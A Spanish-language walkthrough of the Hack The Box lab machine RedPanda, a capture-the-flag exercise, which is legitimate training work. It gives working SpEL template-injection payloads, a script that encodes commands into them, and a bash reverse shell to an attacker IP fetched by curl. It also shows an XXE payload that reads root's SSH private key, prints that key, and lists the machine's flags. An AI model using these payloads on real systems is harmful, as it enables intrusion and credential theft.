RedPanda
Resolution summary
- Text
- Text
Improved skills
- [[SSTI - Server Side Template Injection]]
- skill 2
Used tools
- nmap
- mysql
Information Gathering
Scanned all TCP ports:
1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.207 -oG allPorts
Extract all ports:
1
extractPorts allPorts
Enumerated open ports:
1
nmap -sCV -p22,8080 10.129.227.207 -Pn -oN nmapRedPanda
Enumeration
Port 8080 - http-proxy
El Puerto 22 no tiene una version menor que la 7 por lo que no hay vulnerabilidad asi que vamos directamente al puerto 8080. Ponemos la url http://10.129.227.207:8080
Observamos una pagina con un buscador, si no introducimos nada nos muestra una foto, una tabla de autores de las fotos pero nada interesante. En el codigo fuente de la primera foto encontramos que usa la tecnología Sprint Boot, que es de Java, pero no encontramos ningún exploit para ello.
Aparte de eso, hemos probado varias inyecciones (inyección SQL, inyección XXE), pero no pudimos encontrar nada interesante.
Probamos entonces la SSTI - Server Side Template Injection podemos encontrar mas informacion en PayloadsAllTheThings-master/Server Side Template Injection/README
AL final consinste in probar distintos comandos a ver si realiza las operaciones, en unos casos funcionan unos, en otros otro. aqui probamos:
1
2
3
4
5
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
Observamos que #{7*7}
funciona y nos devuelve la multiplicación. Es mas podemos incluir distintos calculos ahí y nos devuelve el calculo final.
Por lo tanto es vulnerable. Buscamos mas a fondo en PayloadsAllTheThings-master/Server Side Template Injection/README
Como hemos dicho que usa la tecnologia Sprint Boot que es de java buscamos en la parte de Java Encontramos un comando para ver si ver /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
No funciona. SI no funciona tenemos que probar con #{...}
, *{...}
, @{...}
o ~{...}
. ANtes hemos visto que con #
hemoes ejecutado algunos asi que probamos con eso.
1
#{T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
Obtenemos algo pero no lo que queremos, probamos con los siguintes y no termina de funcionar ninguno. Pero podemos probar el comando que viene justo debajo:
1
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Tampoco funciona, probamos con #, * , @ ...
Y vemos que con *
si que funciona:
1
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Exploitation
Nombre por determinar
Si observamos el ultimo comando ejecutado va concatenando los caracteres dependiendo su valor utf 8 para asi ejecutar el comando. Nos podemos hacer un script (o buscarle en internet) que nos le haga el solo.
Como no tuvimos éxito con un shell inverso instantáneo, elegimos dividir la configuración en diferentes comandos y ejecutar cada comando por separado. (pipe | y && no está permitido) |
Preparamos un shell inverso de TCP simple en el cuadro del atacante y lo alojamos a través del módulo de servidor web de Python.
1
2
#!/bin/bash
bash -c "bash -1 >& /dev/tcp/10.10.14.48/9001 0>&1"
Levantamos un server en python para asi copiar el archivo bash que nos da la [[Reverse shell]] y meterla en la maquina victima:
1
python3 -m http.server 8000
Y luego este codigo en python que es el que ejecuta el comando y lo traduce para el payload: Tambien podemos usar este programa: https://github.com/VikasVarshney/ssti-payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3
def main():
command = "curl 10.10.14.48:8000/shell.sh --output /tmp/shell.sh" # specify command
convert = []
for x in command:
convert.append(str(ord(x)))
payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % convert[0]
for i in convert[1:]:
payload += ".concat(T(java.lang.Character).toString({}))".format(i)
payload += ").getInputStream())}"
print(payload)
if __name__ == "__main__":
main()
Con esto nos saldra por pantalla el payload a ejecutar:
Lo pegamos en el buscador de la pagina web y veremos en la pestaña donde tenemos alojado el server de python como se ha transferido el archivo correctamente.
Ahora levantamos un listener de netcat con:
1
nc -nlvp 9001
Y cambiamos el comando a ejecutar en el programa:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
def main():
command = "bash /tmp/shell.sh" # specify command
convert = []
for x in command:
convert.append(str(ord(x)))
payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % convert[0]
for i in convert[1:]:
payload += ".concat(T(java.lang.Character).toString({}))".format(i)
payload += ").getInputStream())}"
print(payload)
if __name__ == "__main__":
main()
Tambien podemos modificar el codigo para que el comando sea leido por input().
Tras ejecutarle, copiamos el resultado, lo pegamos en la web y ya tenemos en el listener de netcat la reverse shell.
Para mejorar la shell y poder hacer ctrl + C
de una manera normal ponemos en la maquina victima:
1
script /dev/null -c bash
Después ponemos ctrl + Z
Y escribimos:
1
stty raw -echo; fg
==Y ponemos reset xterm
==
Ahora podemos cambiar las variables de entorno:
1
export TERM=xterm
y
1
export SHELL=/bin/bash
Tambien podemos adecuar el tamaño de la ventana ponemos
1
stty raw
En nuestro equipo y anotamos las filas y columnas y luego en la victima ponemos:
1
stty rows 44 columns 160
Privilege Escalation
Local Enumeration
Para analizar como podemos vulnerarlo le pasamos el programa linpeas. Recordemos: Despues la transferimos al sistema victima. para ello abrimos un server:
1
python3 -m http.server 4567
Y desde la victima hacemos un wget:
1
wget http://172.20.0.150:4567/linpeas.sh
Una vez lo tenemos descargado le damos permisos de ejecucion:
1
chmod 777 linpeas.sh
Y lo ejecutamos:
1
./linpeas.sh
Privilege Escalation vector - Polkit-Privilege-Esclation
Analizamos lo que nos dice el resultado de linpeas y vemos que nos indica que es vulnerable a CVE-2021-3560. Busquemos algun exploit. Tras probar con 2 exploits distintos no hemos conseguido nada. Probemos otra cosa.
Privilege Escalation vector
En la parte Processes, Crons, Timers, Services and Sockets podemos ver los procesos y encontramos que el servicio panda search esta en /opt/panda_search
Seguimos buscando y en Active Ports vemos que hauy un servidor mysql escuchando (listening) e el puerto 3306 y otro servicio en el 33060.
Exploramos el directorio panda_service en busca de posibles archivos de configuración: después de investigar un poco, nos topamos con MainController.java ubicado en: /opt/panda_search/src/main/java/com/panda_search/htb/panda_search
Y nos encontramos unas credenciales:
Asi que vamos a intentar conectarnos a ello con el sigueinte comando:
1
mysql -u woodenk -p -D red_panda
1
2
3
#-u es para usuario
#-p para password
#-D para el nombre de la base de datos
Una vez en mysql poenmos los siguientes comandos:
show databases;
use red_pandas;
show tables;
SELECT * from pandas;
Pero no obtenemos nada interesante con esto, vayamos a por otra cosa.
Si miramos con pspy tareas del sistema, vemos que root corre un script como woodenk
Para ello tenemos que tener pspy en nuestro equipo y pasarselo al otro abriendo server en python y con wget.
Al ejecutarlo obtenemos:
Eso significa que root corre un script como woodenk. Revisando de nuevo el archivo donde encontramos credenciales vemos como exporta el xml
Además en otro archivo App.java podemos ver como maneja la metadata. Ahi también encontramos dónde está el código fuente de la aplicación web, que es App.java
Lea y comprenda cómo se procesan los archivos jpg y xml. Lee el artista y lo toma como una entrada de nombre de usuario, luego lee el registro de un uri y lo compara con el uri en el archivo xml correspondiente. Si todo coincide, entonces actualiza el archivo xml.
Pero además en el archivo nos muestra como maneja el User-Agent
Mirando esta configuración podemos inyectar en el campo “Artist”, una ruta donde estará el xml, esto en una imagen cualquiera que despues subiremos a la máquina
Entonces, potencialmente, podemos engañar al analizador para que procese un archivo xml e incluya el id_rsa del usuario raíz en él.
Preparamos dos archivos, cualquier jpg y un archivo xml. Aquí hay un truco que puedes leer sobre el exploit: https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity
Desde nuestra maquina podemos obtener la imagen jpg asi:
1
wget "https://avatars.githubusercontent.com/u/95899548?v=4"
Luego continuamos asi:
1
mv 95899548\?v=4 gato.jpg
1
exiftool -Artist="../home/woodenk/privesc" gato.jpg
1
scp gato.jpg woodenk@10.129.227.207:.
A continuación crearemos en el home un archivo xml que apunte a la id_rsa de root, esto con el nombre definido en la imagen más _creds.xml
que es lo suma el archivo que encontramos
1
nano privesc_creds.xml
Pegamos y guardamos esto:
1
2
3
4
5
6
7
8
9
10
11
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY key SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>damian</author>
<image>
<uri>/../../../../../../../home/woodenk/gato.jpg</uri>
<privesc>&key;</privesc>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>
Ahora nos queda hacer una petición curl con el formato que vimos en el archivo como User-Agent
Desde nuestra maquina:
1
curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/gato.jpg"
Finalmente exportar el xml desde la web de /stats para que tome nuestro archivo
Después de unos segundos si revisamos el xml tendra la id_rsa de root
Desde la maquina de la victima hacemos:
1
cat privesc_creds.xml
Con esta pequeña id_rsa podemos finalmente conectarnos por ssh y visualizar la flag
Copiamos la id_rsa:
1
2
3
4
5
6
7
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----
La guardamos como id_rsa en nuestro equipo y la cambiamos los permisos:
1
sudo chmod 600 id_rsa
Seguidamente ejecutamos la [[SSH]]
1
ssh root@10.129.227.207 -i id_rsa
Y ya tenemos acceso al root!
Trophy & Loot
user.txt ==23628eba142d94b9c62a9014e283cdfa== root.txt ==42fb89cc3147f88618f4322ea00abf1f==